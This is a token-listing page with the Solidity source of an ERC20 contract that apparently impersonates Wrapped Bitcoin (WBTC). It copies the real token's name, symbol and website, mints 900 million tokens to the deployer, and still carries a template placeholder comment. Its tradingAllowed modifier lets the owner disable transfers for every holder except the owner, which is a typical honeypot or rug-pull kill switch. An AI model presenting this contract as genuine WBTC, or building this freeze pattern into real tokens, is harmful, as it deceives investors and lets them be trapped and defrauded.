Wrapped Bitcoin (WBTC)

Description:

ERC20 token contract. Standard implementation for fungible tokens on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

/**
 * @title Wrapped Bitcoin (WBTC)
 * @notice ERC20-compliant Wrapped Bitcoin with embedded metadata, supply, and toggles.
 * @dev Flattened for verification on Etherscan.
 */
contract WBTC {
    // --- ERC20 Storage ---
    string private constant _name = "Wrapped Bitcoin";
    string private constant _symbol = "WBTC";
    uint8 private constant _decimals = 8;
    uint256 private _totalSupply = 90000000000000000; // fixed supply

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    // --- Metadata for scanners / explorers ---
    string public constant description = "Wrapped Bitcoin (WBTC) is a tokenized version of Bitcoin (BTC) on Ethereum.";
    string public constant website = "https://wbtc.network";
    string public constant logoURI = "ipfs://QmQYp2hK7n7rEhVbJz9i5DdHu6mViLUh34WLMN7c9XKfZp"; 
    // replace with your actual IPFS logo CID

    // --- Access Control ---
    address public owner;

    // --- Toggles ---
    bool public tradingEnabled = true;
    bool public swapEnabled = true;

    // --- Events ---
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event TradingEnabled(bool status);
    event SwapEnabled(bool status);

    // --- Modifiers ---
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    modifier tradingAllowed(address from, address to) {
        if (from != owner && to != owner) {
            require(tradingEnabled, "Trading disabled");
            require(swapEnabled, "Swaps disabled");
        }
        _;
    }

    // --- Constructor ---
    constructor() {
        owner = msg.sender;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    // --- ERC20 Functions ---
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public tradingAllowed(msg.sender, to) returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address tokenOwner, address spender) public view returns (uint256) {
        return _allowances[tokenOwner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public tradingAllowed(from, to) returns (bool) {
        _transfer(from, to, amount);
        uint256 currentAllowance = _allowances[from][msg.sender];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(from, msg.sender, currentAllowance - amount);
        return true;
    }

    // --- Internal helpers ---
    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0) && to != address(0), "ERC20: zero address");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: insufficient balance");
        _balances[from] = fromBalance - amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function _approve(address tokenOwner, address spender, uint256 amount) internal {
        require(tokenOwner != address(0) && spender != address(0), "ERC20: zero address");
        _allowances[tokenOwner][spender] = amount;
        emit Approval(tokenOwner, spender, amount);
    }

    // --- Owner Functions ---
    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "Zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    function setTradingEnabled(bool status) external onlyOwner {
        tradingEnabled = status;
        emit TradingEnabled(status);
    }

    function setSwapEnabled(bool status) external onlyOwner {
        swapEnabled = status;
        emit SwapEnabled(status);
    }

    // --- Metadata fetch ---
    function tokenMetadata() external pure returns (
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        string memory description_,
        string memory website_,
        string memory logoURI_
    ) {
        return (_name, _symbol, _decimals, description, website, logoURI);
    }
}

Tags:
ERC20, Token|addr:0x32cf845779069a8d89e45134f01e14abdc51b747|verified:true|block:23411545|tx:0x7dd5ab2a5a5e6c5b89e7da40f031ba52fdfce62e4de3e292ec90c59b003a8cd1|first_check:1758464025

Submitted on: 2025-09-21 16:13:46

Comments

Log in to comment.

No comments yet.